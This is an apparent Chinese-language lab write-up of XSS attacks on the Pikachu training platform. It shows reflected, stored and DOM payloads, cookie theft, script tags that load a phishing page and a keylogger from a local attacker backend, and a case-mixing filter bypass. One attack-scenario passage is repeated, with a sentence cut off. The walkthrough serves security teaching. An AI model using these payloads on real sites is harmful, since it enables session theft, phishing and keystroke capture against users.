类型
1、反射型XSS
Get型
简介:交互的数据一般不会被存在数据库里面,是一次性的,所见即所得,一般出现在查询类页面等。
1、可以看到有一个输入点,在输入框输入Kobe
点击提交后,出现一张图,如图所示。
2、插入一些特殊字符77***%%%<<>>9999%%%7888888,看到页面回显没有把一些字符过滤掉,并且发现搜索框长度有限,
3、查看他的代码,发现我们输入的内容被原封不动的被输出
4、在输入正确的payload: <script>alert</script>.输入的时候发现,搜索框有长度限制。
一般长度限制都是通过前端html代码校验.
方法一:直接修改HTML代码
1)用开发者工具查看代码,发现代码中设置了最大字符长度为20
我们将其修改为300,就可以输入更长的字符了
2)修改后我们输入Payload:<script>alert(“XSS”)</script>,点击提交,弹出了提示框
3)数据从前端接口输入,到后端接收然后输出,后端没有保存,重新刷新页面代码就没了。
我们回去查看源码,发现被嵌入到了P标签里,因为<script>alert(“XSS”)</script>是正确的前端语法代码,就会被浏览器执行。刷新之后就不会弹出提示框了。
方法二:
抓个包看一下,发现他是以get方式将message里的内容提交到后台的,我们可以构造一个JavaScript payload发送给使用者。
我们修改massage的信息为<script>alert(“1”)</script>
Forward,发现页面弹出了提示框
Get方式的xss更容易被利用,将带有跨站脚本的URL伪装后发送给目标,而珀斯特方式由于是以表单的方式提交,无法直接使用URL方式进行攻击
Post型
1、登录后先抓个包,可以看到他是post类型。
2、输入一个正确的payload,修改后返回页面,可以看到我们写入的信息。
3、当我们写入另一个payload:<script>alert(document.cookie)</script>,发现成功获取了admin的cookie
2、保存型XSS
交互的数据会被存在数据库里,永久性存储,一般出现在留言板,注册等页面。
- 看是否存在XSS漏洞,输入""<>?666666
点提交,可以看到我们输入的东西被当作留言给显示出来了,查看页面源码,发现被嵌入到了P标签里
- 我们输入Payload:<script>alert(“XSS”)</script>,点击提交,弹出提示框
刷新页面,发现无论切换多少次页面都会弹出提示框,说明该信息已经被存入数据库了,说明存储型XSS能危害所有访问受影响页面的用户,危害更大 。
3、我们写入另一个payload:<script>alert(document.cookie)</script>。发现成功获取了admin的cookie,无论切换多少次页面都会弹出提示框
3、DOM型XSS
不与后台服务器产生数据交互,是一种通过Dom操作前端代码输出的时候产生的问题,一次性也属于反射型。是纯前台的漏洞。
什么是DOM?
dom是一种文档对象模型,同时也是用于HTML编程的接口,通过dom来操作页面中的元素,当HTML页面被实现加载时,浏览器会创建一个DOM,给文档提供了一个新的逻辑结构,并且可以改变内容和结构。对于浏览器来说,DOM文档就是一份XML文件当有了这个标准的技术之后,通过JavaScript就可以轻松访问了
原理
客户端JavaScript可以访问浏览器的DOM文本对象模型是利用的前提,当确认客户端代码中有DOM型XSS漏洞时,并且能诱使(钓鱼)一名用户访问自己构造的URL,就说明可以在受害者的客户端注入恶意脚本。利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。
实操
1、我们输入<script>alert(1)</script>先看看,可以看到回显了一个链接名为what do you see?
2、鼠标右键–查看网页源代码,Ctrl+F弹出搜索框,输入what do you see看看
找到了一段js代码,寻找DOM XSS的本质是做js语言阅读理解题
逻辑:GetElementById()函数获取了输入的内容赋给str,又通过字符串拼接的方式写到了herf属性中,当我们输入一个字符串之后,会一把字符串通过dom方法拼接到a标签里,a标签会被写到id=dom这个标签里输出。
- 通过构造一个闭合执行预期的代码,构建一个payload效果为弹窗,内容为111:
<a href='#' οnclick="alert(111)">'>what do you see?</a>
则payload为:#' οnclick="alert(111)">,将payload输入,点击链接输出111
DOM型XSS-X
查看源码可以看到dom的输入是从浏览器里获得的
输入payload:#' οnclick="alert(111)">
DOM型XSS只在前端,与后端毫无关系。DOM-X型危害更大,它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击。
攻击场景
XSS钓鱼
在一个存在XSS漏洞的页面嵌入一个请求,当用户打开页面时,会向后台发出请求,会弹出需要身份认证的一个提示框。输入账号密码后,后端会
我们嵌入一段代码:
<script src="http://127.0.0.1:8080/pikachu/pkxss/xfish/fish.php"></script>
会弹出提示框要我们认证。攻击者可以在后台获取钓鱼结果。
DOM型XSS只在前端,与后端毫无关系。DOM-X型危害更大,它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击。
- 攻击场景
XSS钓鱼
在一个存在XSS漏洞的页面嵌入一个请求,当用户打开页面时,会向后台发出请求,会弹出需要身份认证的一个提示框。输入账号密码后,后端会
我们嵌入一段代码:
<script src="http://127.0.0.1:8080/pikachu/pkxss/xfish/fish.php"></script>
会弹出提示框要我们认证。攻击者可以在后台获取钓鱼结果。
XSS获取键盘记录
什么是跨域
https:// www . xyz.com : 8080 / script/test.js
协议 子域名 主域名 端口 资源地址
当协议、主机(主域名、子域名)、端口中任意一个不相同时,成为不同域
不同域之间的请求数据的操作,称为跨域操作
同源策略:两个不同域名之间不能使用JS进行相互操作
想要跨域操作,则需要管理员进行特殊的配置:
比如通过:header(“Access-Control-Allow-Origin:x.com”)指定
下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的
<script src=” ”> //js,加载到本地执行
<img src=” ”> //图片
<link href=””>//css
<iframe src=”...”>//任意资源
实操
我们登录后台,看到有一个键盘记录结果,点击可以看到记录,刚开始是空的
我们输入一个脚本让他去运行rk.js
<script src="http://127.0.0.1:8080/pikachu/pkxss/rkeypress/rk.js"></script>
弹出了页面请求失败
设置允许被跨域访问
在键盘输入6个a,可以看到下面有6个请求
再去查看键盘记录,我们能看到有输入的6个a.
Xss盲打
1、先输入一些信息测试一下,弹出“谢谢参与。。”,可以看到输入的信息不会在前台输出,有可能在后台界面输出,有可能后台管理人员可以看到
2、登录后台页面,可以看到我们之前输入的内容已经记录在后台,并被后台输出
3、攻击者可以在前端注入一个盗取cookie的脚本,等管理员登陆后台之后,就可以把后台管理员的cookie信息获得,就可以伪装管理员进行操作,对两个框都进行测试,输入payload:
<script>alert(document.cookie)</script>
4、登陆后台,发现payload被触动了两次,说明两个框都有漏洞
XSS过滤
1、输入一个payload:<script>alert(“1”)</script>,发现有些字符被过滤了,并且url也有输入内容,刷新本页就没有这个内容类,说明是反射型get型XSS
2、是什么字符被过滤了呢?验证一下,输入222”<script>,我们发现script被过滤了
3、想办法绕过它,采用大小写绕过的方法绕过过滤。输入
222"<ScRIpt>alert("111")</SCriPt>。发现绕过成功。
XSS之htmlspecialchars
Htmlspecialchars()函数
它是把预定义的字符转换为HTML实体。&ok=htmlspecialchars($_GET[‘message’])
预定义的字符是:
&(和号)成为&
“”(双引号)成为"
‘(单引号)成为'
<(小于)成为&It
>(大于)成为>
可用的引号类型:
ENT_COMPAT-默认。仅编码双引号
ENT_QUOTES-编码双引号和单引号
ENT_NOQUOTES-不编码任何引号
随便输入一些字符,点击提交,发现输入的内容被回显出来
查看源码,可以看到只有单引号没被处理。
构造一个payload: ’ οnclick=’alert(0000)’. 前面的一个单引号让 value='形成闭合
XSS之href输出
输入百度的网址,点击它回显的链接,发现打开了百度页面
查看后台代码,发现它对特殊符号做出了转义,并且可以用JavaScript协议来执行JS
防范措施:
Href里是写超链接的,所以我们只允许让他写http/https协议,才允许让他输出,,否则不允许,在对他进行htmlspecialchars处理